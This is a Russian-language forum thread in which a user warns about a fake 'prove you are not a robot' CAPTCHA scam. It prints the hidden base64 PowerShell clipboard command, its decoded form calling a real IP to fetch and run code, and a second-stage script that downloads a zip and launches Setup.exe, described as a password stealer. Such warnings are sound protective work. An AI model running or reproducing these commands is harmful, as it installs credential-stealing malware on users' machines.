Название сервера Карта Игроков IP-адрес Действия
ЧИСТО ПОРЖАТЬ

Technical Support


Рейтинг: 534


Сообщений: 294


Спасибок: 48

кидайте сюда всё что находите смешным

https://vk.com/russianvviolence


Рейтинг: 3362


Сообщений: 332


Спасибок: 606

Столкнулся впервые с попыткой скама через фейковую капчу аля "докажите что вы не робот"

На некоторых сайтах можно встретить якобы капчу, например при скачивании контента

посередине экрана инструкция: 


1. нажмите win+R     
2. нажмите ctrl+V
3. нажмите enter


В буффере обмена уже будет вам всунуто что то типа строки ниже:

powershell -w hidden -eC aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcAA6AC8ALwAxADYANQAuADIAMgA3AC4AMQAyADEALgA0ADEALwBhAC4AdAB4AHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkALgBDAG8AbgB0AGUAbgB0AA==

Это строка запуска закодированного методом base64 скрипта для командного интерпретатора PowerShell , да ещё в скрытом режиме (без создания диалогового окна с уведомлениями о действиях)
Если пользователь далёк от знания устройства компьютерных технологий, то может по доверчивости проделать то что от него просят

Декодированный код скрипта выглядит так:

iex (iwr http://165.227.121.41/a.txt -UseBasicParsing).Content

При выполнении в PowerShell произойдёт следующее...
Вы скрыто получите следующие инструкции с удалённого сайта:

$webClient = New-Object System.Net.WebClient
$url1 = "https://downcheck.nyc3.cdn.digitaloceanspaces.com/dengo.zip"
$zipPath1 = "$env:TEMP\pgrt1.zip"
$webClient.DownloadFile($url1, $zipPath1)
$extractPath1 = "$env:TEMP\file"
Expand-Archive -Path $zipPath1 -DestinationPath $extractPath1
Start-Process -FilePath $env:TEMP\file\Setup.exe


Инструкции будут выполнены:
Сам скачается Stealer (вредоносная программа для кражи паролей и ваших личных данных)
Самостоятельно установится и выполниться его запуск.

ЗЛОЙ КОТЯРА

Спасибо сказали: кек

Technical Support


Рейтинг: 534


Сообщений: 294


Спасибок: 48

Будь Аккуратнее 41.png48.png

https://vk.com/russianvviolence

Последнее на форуме
Топ пользователей

met.

met.

6K 2110 784

Tom2233

Tom2233

3.3K 332 606

PhOenix
PhOenix

PhOenix

1.9K 576 283

lalalalisa
lalalalisa

lalalalisa

1.6K 327 273

vesna
vesna

vesna

1.2K 135 225